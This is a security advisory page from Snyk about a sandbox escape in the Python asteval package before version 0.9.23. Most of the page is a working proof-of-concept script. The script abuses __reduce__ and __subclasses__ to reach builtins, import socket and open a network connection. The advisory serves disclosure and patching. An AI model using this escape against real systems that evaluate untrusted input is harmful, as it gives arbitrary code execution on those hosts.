Improper Isolation or Compartmentalization Affecting asteval package, versions [,0.9.23)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-ASTEVAL-1073629
  • published1 Mar 2021
  • disclosed12 Feb 2021
  • creditRoss Bradley

Introduced: 12 Feb 2021

CVE NOT AVAILABLE CWE-653  (opens in a new tab)

How to fix?

Upgrade asteval to version 0.9.23 or higher.

Overview

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Improper Isolation or Compartmentalization. It is possible to escape the asteval sandbox using reduce and reduce_ex.

PoC

#!/usr/bin/env python3
# asteval "sandbox" escape PoC
# Ross Bradley

import asteval

user_input = '''
# reduce the asteval.Interpreter._printer function, returning a tuple
red = print.__reduce__()
print(red)

# red[0] == getattr, red[1][0] == asteval.Interpreter instance)
#  this is the crux of the issue - access to getattr breaks all security assumptions allowing us to access props we shouldn't be able to

# give them nice names to make the following code a little clearer
getattr = red[0]
inst = red[1][0]

# get the class for the asteval.Interpreter instance
cls = getattr(inst, '__class__')

# get an object instance from the class
obj = getattr(cls, '__base__')
subclasses = getattr(obj, '__subclasses__')

# find the catch_warnings type
cw = [c for c in subclasses() if c.__name__ == 'catch_warnings'][0]

# fetch the reference to builtins from the catch_warnings type
bi = cw()._module.__builtins__

# import socket (wait, what?)
socket = bi['__import__']('socket')

# do socket things
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 1234))
s.send(b'arbitrary code execution')
s.close()
'''

interpreter = asteval.Interpreter()
interpreter.eval(user_input)

CVSS Base Scores

version 3.1